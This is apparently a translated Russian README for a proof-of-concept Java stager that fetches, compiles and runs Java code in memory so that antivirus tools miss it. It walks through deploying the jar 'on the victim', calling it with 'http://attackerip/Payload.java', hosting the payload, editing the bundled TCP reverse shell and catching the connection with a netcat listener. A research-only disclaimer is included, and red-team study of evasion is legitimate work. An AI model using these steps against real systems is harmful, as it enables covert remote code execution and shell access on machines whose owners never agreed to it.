
PoC Java-стейджер, который может загружать, компилировать и выполнять Java-файл в памяти.
PoC Java Stager, который может загружать, компилировать и выполнять Java-файл в памяти.
Только для исследовательских целей, не используйте там, где у вас нет разрешения.
Основано на работе Джеймса Уильямса из его доклада «Next Gen AV vs My Shitty Code», доступного здесь:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
Ключевые части доклада для меня:
Его пример написан на .net, но в докладе он предположил, что Java способна на те же методы. Я реализовал черновой PoC, который, как мне кажется, соответствует описанным методам.
Вывод в NetBeans содержал строку вроде этой:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
Для работы на жертве вы должны загрузить файл «JavaStager*.jar» и папку «lib», содержащую Janino, из папки «target».
Следующая команда выполнит stager:
java -jar JavaStager-0.1-initial.jar
Будет показано использование:
`Proper Usage is: java -jar JavaStager-0.1-initial.jar »
«url» — единственный параметр, передаваемый Stager. Пример использования:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
Ваша полезная нагрузка должна быть в файле с именем «Payload.java», а код эксплойта — в статическом методе с именем «Run». Ниже показан шаблон, если вы хотите написать свой:
public class Payload {
public static void Run() {
// Your code here
}
}
Я предоставил пример обратной TCP-оболочки в файле «TCPReverseShell.java». Чтобы избежать конфликтов имён, он не называется «Payload.java», и имя класса неверное. Комментарий в начале «TCPReverseShell.java» объясняет, как изменить его для работы.
Вам нужно разместить файл «Payload.java» на HTTP-сервере. Вы можете использовать Apache или простые HTTP/HTTPS серверы на Python2 и Python3, как описано в моём блоге:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
Атакующему нужно запустить слушатель netcat для перехвата обратного соединения, используя стандартную технику nc -lvp 8044.
Пост в блоге, объясняющий, как всё работает:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
Видео, показывающее, как это работает на практике: